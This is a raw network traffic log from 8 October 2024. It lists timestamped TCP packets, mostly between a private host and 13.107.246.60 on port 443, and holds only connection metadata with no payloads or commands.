Oct 8, 2024 03:24:20.408961058 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.408989906 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.409008026 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.409013987 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.412045956 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.412116051 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.412237883 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.412447929 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.412470102 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.542723894 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.543374062 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.543415070 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.543869019 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.543875933 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.547705889 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.548049927 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.548065901 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.548401117 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.548404932 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647258997 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647329092 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647488117 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.647546053 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647635937 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647674084 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.647742987 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.647763968 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647774935 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.647780895 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647792101 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.647795916 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.647811890 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.647814989 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.650618076 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.650661945 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.650698900 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.650728941 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.650743961 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.650794983 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.650895119 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.650907040 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.650923967 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.650939941 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.816262007 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.816818953 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.816845894 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.817291975 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.817296982 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.921005011 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.921034098 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.921140909 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.921152115 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.921186924 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.921395063 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.921416044 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.921427965 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.921433926 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.924510956 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.924567938 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.924655914 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.924834013 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.924850941 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.039046049 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.039731026 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.039760113 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.040185928 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.040194988 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.053817987 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.054785013 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.054820061 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.055394888 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.055403948 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.140161991 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.140193939 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.140244007 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.140269995 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.140328884 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.140347004 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.140374899 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.140548944 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.140567064 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.140578032 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.140583992 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.143727064 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.143778086 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.143831968 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.144068956 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.144079924 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.153492928 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.153517962 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.153572083 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.153589964 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.153654099 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.153692961 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.153737068 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.153753996 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.153764009 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.153769016 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.156126976 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.156137943 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.156322002 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.156362057 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.156373024 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.297308922 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.297841072 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.297867060 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.298413992 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.298423052 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.303869009 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.304286003 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.304300070 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.304750919 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.304759979 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.396513939 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.396655083 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.396701097 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.399105072 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.399126053 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.399136066 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.399142981 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.402869940 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.402911901 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.402971029 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.403451920 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.403467894 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.403614998 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.403834105 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.403871059 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.403995037 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.404009104 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.404017925 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.404022932 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.408977032 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.409008980 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.409091949 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.409574986 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.409591913 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.565541029 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.566054106 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.566081047 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.566510916 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.566519022 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.665502071 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.665666103 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.665724039 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.666212082 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.666212082 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.666281939 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.666299105 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.670119047 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.670166969 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.670800924 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.670800924 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.670840025 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.805541039 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.806236982 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.806278944 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.806710005 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.806715965 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.823440075 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.824064970 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.824101925 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.824523926 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.824533939 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.906207085 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.906270981 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.906373978 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.906661034 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.906683922 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.906694889 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.906702042 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.909881115 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.909950018 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.910051107 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.910725117 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.910736084 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.930289984 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.930501938 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.930581093 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.930846930 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.930859089 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.930867910 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.930872917 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.933995962 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.934031010 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:21.934098959 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.934398890 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:21.934412003 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.092869997 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.093614101 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.093642950 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.094136953 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.094145060 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.113905907 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.114423990 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.114447117 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.114929914 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.114936113 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.192650080 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.192975998 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.193030119 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.193108082 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.193128109 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.193136930 CEST	49796	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.193142891 CEST	443	49796	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.195741892 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.195782900 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.195898056 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.196052074 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.196060896 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.196582079 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:22.219185114 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.219245911 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.219290972 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.219449997 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.219469070 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.222115040 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.222162962 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.222229958 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.222367048 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.222379923 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.353832006 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.354489088 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.354521036 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.355072975 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.355084896 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.456784964 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.456952095 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.457132101 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.457132101 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.457195997 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.457218885 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.460139990 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.460189104 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.460272074 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.460402012 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.460414886 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.549268961 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.550240040 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.550281048 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.550690889 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.550699949 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.617278099 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.618244886 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.618261099 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.618771076 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.618777990 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.663211107 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.663290977 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.663639069 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.663639069 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.664086103 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.664113045 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.666734934 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.666851997 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.666948080 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.667103052 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.667134047 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.720135927 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.720376968 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.720426083 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.720513105 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.720534086 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.720546007 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.720551968 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.724195957 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.724239111 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.724329948 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.724562883 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.724576950 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.854084015 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.855249882 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.855249882 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.855267048 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.855282068 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.899756908 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.900357008 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.900384903 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.900753021 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.900760889 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.954770088 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.954819918 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.954864979 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.954896927 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.955045938 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.955212116 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.955212116 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.955226898 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.955235004 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.958312988 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.958355904 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.958427906 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.958586931 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.958599091 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.998624086 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.998934984 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.999000072 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.999043941 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.999062061 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:22.999075890 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:22.999082088 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.001813889 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.001871109 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.001938105 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.002099037 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.002110004 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.134213924 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.134792089 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.134821892 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.135261059 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.135272026 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.234718084 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.234750986 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.234791994 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.234814882 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.234859943 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.235058069 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.235080004 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.235093117 CEST	49802	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.235099077 CEST	443	49802	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.237735033 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.237788916 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.237854004 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.238003016 CEST	49808	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.238015890 CEST	443	49808	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.323951960 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.324489117 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.324527979 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.325283051 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.325288057 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.409621954 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:23.410144091 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:23.410170078 CEST	443	49805	13.107.246.60	192.168.2.10
